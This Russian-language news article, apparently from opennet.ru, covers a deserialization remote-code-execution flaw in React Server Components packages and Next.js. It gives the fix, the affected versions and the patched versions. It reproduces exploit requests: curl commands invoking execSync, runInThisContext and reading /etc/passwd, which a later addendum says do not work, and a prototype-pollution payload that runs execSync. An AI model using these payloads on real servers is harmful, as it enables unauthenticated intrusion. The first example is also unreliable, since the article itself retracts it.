react-server-dom-parcel и
react-server-dom-turbopack, применяемых для выполнения функций и формирования элементов интерфейса на сервере, а не на стороне клиента.
Проблема вызвана небезопасной десериализацией данных, полученных в HTTP-запросах к серверным обработчикам. Исправление свелось к замене в функции requireModule выражения "return moduleExports[metadata[NAME]];", не исключавшего подстановку прототипа, на вариант с проверкой через hasOwnProperty:
Код:
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
При наличии возможности подставить прототип, запуск команд в системе или выполнение JavaScript-кода в контексте текущего процесса (с обходом sandbox-изоляции) можно организовать через подстановку методов "vm.runInThisContext", "vm.runInNewContext", "child_process.execFileSync" и "child_process.execSync". Также возможно использование методов "fs.readFileSync" и "fs.writeFileSync" для чтения и записи произвольных файлов на сервере, насколько позволяют текущие права доступа (например, можно перезаписать ~/.ssh/authorized_keys и ~/.bashrc). Для атаки не требуется прохождение аутентификации. Доступен эксплоит.
Код:
# Запуск команды whoami
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Выполнение JavaScript-кода 1+1
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Чтение файла /etc/passwd
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
Подверженность систем уязвимости зависит от применения на них уязвимых серверных компонентов react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack (среди прочего, web-приложение может не использовать их, но установить на сервере). Приложения, не использующие react-server, уязвимость не затрагивает.
Степень охвата уязвимостью рабочих систем, в которых используется React, пока не ясна. С одной стороны, React является одним из самых популярных web-фреймворков (используется примерно на 6% web-сайтов), а уязвимые компоненты развиваются в основном репозитории и входят в состав релизов. Уязвимые компоненты также поддерживаются в основанных на React фреймворках, таких как Next.js и react-router. По данным компании Wiz Research уязвимые экземпляры Next.js или React выявлены в 39% проанализированных облачных окружений.
С другой стороны, генерация контента на сервере через React Server Components не часто используемая функция (большинство React-сайтов отрисовывают интерфейс только на стороне клиента), а уязвимые компоненты помечены как экспериментальные и не гарантирующие корректную работу. Данные компоненты имеют относительно небольшое число прямых загрузок из репозитория NPM: react-server-dom-webpack - 670 тысяч в неделю, react-server-dom-parcel - 7 тысяч и react-server-dom-turbopack - 32 тысячи, для сравнения NPM-пакет React имеет 45 млн загрузок в неделю.
Уязвимость присутствует версиях React 19.0.0, 19.1.0, 19.1.1 и 19.2.0, и устранена в обновлениях React 19.0.1, 19.1.2 и 19.2.1. Уязвимые компоненты также применяются в пакетах react-router (20 млн загрузок в неделю), waku, @parcel/rsc (Parcel RSC plugin), @vitejs/plugin-rsc (Vite RSC plugin) и rwsdk (RedwoodSDK).
В React Router проблема проявляется только при использовании экпериментального режима RSC.
Аналогичная уязвимость (CVE-2025-66478) выявлена в реализации протокола RSC (React Server Components) во фреймворке Next.js (16 млн загрузок в неделю).
Проблема затрагивает приложения, использующие App Router и ветки Next.js 15.x и 16.x. Утверждается, что уязвимость проявляется в конфигурации Next.js по умолчанию (стандартное приложение, создаваемое утилитой create-next-app, подвержено атаке). Пользователям рекомендовано как можно скорее установить обновление Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.
Дополнение 1: Пример эксплоита оказался не действующим. Общий принцип эксплуатации и метод атаки через прототипы объектов подтверждены, но привязка к модулям vm, child_process и fs ошибочна (в пока не опубликованном реальном эксплоите задействовано какое-то не привязанное к внешним модулям внутреннее свойство).
Дополнение 2: Исследователь, изначально выявивший уязвимость, опубликовал рабочие прототипы эксплоитов. Также доступно несколько сторонних вариантов эксплоитов (1, 2, 3), созданных путём изучения патча. Суть атаки в использовании десериализации $@ для получения ссылки на Chunk и помещения Chunk.prototype.then в качестве свойства "then" корневого объекта.
Пример запроса для запуска xcalc:
Код:
Content-Disposition: form-data; name="0"
"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
Content-Disposition: form-data; name="1"
"$@0"
Источник: https://www.opennet.ru/opennews/art.shtml?num=64373
(opennet.ru, основная лента)